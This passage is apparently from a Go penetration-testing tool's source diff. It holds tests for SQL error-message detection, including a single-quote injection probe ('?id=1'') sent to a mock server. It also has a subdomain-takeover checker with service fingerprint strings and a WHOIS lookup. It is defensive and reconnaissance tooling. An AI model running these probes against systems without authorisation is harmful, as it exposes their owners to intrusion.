URL: "http://example.com/?id=1'",
DatabaseType: "MySQL",
ErrorPattern: "mysql.*error",
},
},
}
if len(result.AdminPanels) != 1 {
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
}
if result.AdminPanels[0].Type != "phpMyAdmin" {
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
}
if len(result.DatabaseErrors) != 1 {
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
}
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
}
}
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mysql error", "MySQL Error: Something went wrong", true},
{"mysql syntax", "You have an error in your SQL syntax", true},
{"mysql fetch", "Warning: mysql_fetch_array()", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"postgresql error", "PostgreSQL Error: connection failed", true},
{"pg_query", "Warning: pg_query(): Query failed", true},
{"unterminated string", "ERROR: unterminated quoted string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mssql error", "MSSQL Error: invalid query", true},
{"sql server error", "Microsoft SQL Server Error", true},
{"unclosed quote", "Unclosed quotation mark after the character string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"ora error code", "ORA-00942: table or view does not exist", true},
{"oracle error", "Oracle Error: invalid identifier", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestSQLAdminPanelDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/phpmyadmin/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
case "/adminer/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>Adminer</title></html>"))
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer server.Close()
// this is a basic test to verify the server mock works
resp, err := http.Get(server.URL + "/phpmyadmin/")
if err != nil {
t.Fatalf("failed to get phpmyadmin: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
}
}
func TestSQLDatabaseErrorDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Query().Get("id") == "1'" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("Welcome to our website"))
}
}))
defer server.Close()
// verify server returns mysql error for injection attempt
resp, err := http.Get(server.URL + "/?id=1'")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+183
View File
@@ -0,0 +1,183 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"fmt"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
"io"
"net"
"net/http"
"os"
"strings"
"sync"
"time"
)
// SubdomainTakeoverResult represents the outcome of a subdomain takeover vulnerability check.
// It includes the subdomain tested, whether it's vulnerable, and the potentially vulnerable service.
type SubdomainTakeoverResult struct {
Subdomain string `json:"subdomain"`
Vulnerable bool `json:"vulnerable"`
Service string `json:"service,omitempty"`
}
// SubdomainTakeover checks for potential subdomain takeover vulnerabilities.
//
// Parameters:
// - url: the target URL to scan
// - dnsResults: a slice of subdomains to check (typically from Dnslist function)
// - timeout: maximum duration for each subdomain check
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []SubdomainTakeoverResult: a slice of results for each checked subdomain
// - error: any error encountered during the scan
func SubdomainTakeover(url string, dnsResults []string, timeout time.Duration, threads int, logdir string) ([]SubdomainTakeoverResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Subdomain Takeover Vulnerability Check") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "Subdomain Takeover Vulnerability Check"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
subdomainlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Subdomain Takeover 🔍",
})
client := &http.Client{
Timeout: timeout,
}
var wg sync.WaitGroup
wg.Add(threads)
resultsChan := make(chan SubdomainTakeoverResult, len(dnsResults))
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, subdomain := range dnsResults {
if i%threads != thread {
continue
}
vulnerable, service := checkSubdomainTakeover(subdomain, client)
result := SubdomainTakeoverResult{
Subdomain: subdomain,
Vulnerable: vulnerable,
Service: service,
}
resultsChan <- result
if vulnerable {
subdomainlog.Warnf("Potential subdomain takeover: %s (%s)", styles.Highlight.Render(subdomain), service)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Potential subdomain takeover: %s (%s)\n", subdomain, service))
}
} else {
subdomainlog.Infof("Subdomain not vulnerable: %s", subdomain)
}
}
}(thread)
}
go func() {
wg.Wait()
close(resultsChan)
}()
var results []SubdomainTakeoverResult
for result := range resultsChan {
results = append(results, result)
}
return results, nil
}
func checkSubdomainTakeover(subdomain string, client *http.Client) (bool, string) {
resp, err := client.Get("http://" + subdomain)
if err != nil {
if strings.Contains(err.Error(), "no such host") {
// Check if CNAME exists
cname, err := net.LookupCNAME(subdomain)
if err == nil && cname != "" {
return true, "Dangling CNAME"
}
}
return false, ""
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
return false, ""
}
bodyString := string(body)
// Check for common takeover signatures in the response
signatures := map[string]string{
"GitHub Pages": "There isn't a GitHub Pages site here.",
"Heroku": "No such app",
"Shopify": "Sorry, this shop is currently unavailable.",
"Tumblr": "There's nothing here.",
"WordPress": "Do you want to register *.wordpress.com?",
"Amazon S3": "The specified bucket does not exist",
"Bitbucket": "Repository not found",
"Ghost": "The thing you were looking for is no longer here, or never was",
"Pantheon": "The gods are wise, but do not know of the site which you seek.",
"Fastly": "Fastly error: unknown domain",
"Zendesk": "Help Center Closed",
"Teamwork": "Oops - We didn't find your site.",
"Helpjuice": "We could not find what you're looking for.",
"Helpscout": "No settings were found for this company:",
"Cargo": "If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel.",
"Uservoice": "This UserVoice subdomain is currently available!",
"Surge": "project not found",
"Intercom": "This page is reserved for artistic dogs.",
"Webflow": "The page you are looking for doesn't exist or has been moved.",
"Kajabi": "The page you were looking for doesn't exist.",
"Thinkific": "You may have mistyped the address or the page may have moved.",
"Tave": "Sorry, this page is no longer available.",
"Wishpond": "https://www.wishpond.com/404?campaign=true",
"Aftership": "Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist.",
"Aha": "There is no portal here ... sending you back to Aha!",
"Brightcove": "<p class=\"bc-gallery-error-code\">Error Code: 404</p>",
"Bigcartel": "<h1>Oops! We couldn&#8217;t find that page.</h1>",
"Activecompaign": "alt=\"LIGHTTPD - fly light.\"",
"Compaignmonitor": "Double check the URL or <a href=\"mailto:help@createsend.com",
"Acquia": "The site you are looking for could not be found.",
"Proposify": "If you need immediate assistance, please contact <a href=\"mailto:support@proposify.biz",
"Simplebooklet": "We can't find this <a href=\"https://simplebooklet.com",
"Getresponse": "With GetResponse Landing Pages, lead generation has never been easier",
"Vend": "Looks like you've traveled too far into cyberspace.",
"Jetbrains": "is not a registered InCloud YouTrack.",
"Azure": "404 Web Site not found.",
}
for service, signature := range signatures {
if strings.Contains(bodyString, signature) {
return true, service
}
}
return false, ""
}
+48
View File
@@ -0,0 +1,48 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"fmt"
"os"
"strings"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/likexian/whois"
)
func Whois(url string, logdir string) {
fmt.Println(styles.Separator.Render("💭 Starting " + styles.Status.Render("WHOIS Lookup") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, " WHOIS scanning"); err != nil {
log.Errorf("Error creating log file: %v", err)
return
}
}
whoislog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "WHOIS 💭",
})
whoislog.Infof("Starting WHOIS")
result, err := whois.Whois(sanitizedURL)
if err == nil {
log.Info(result)
logger.Write(sanitizedURL, logdir, result)
}
}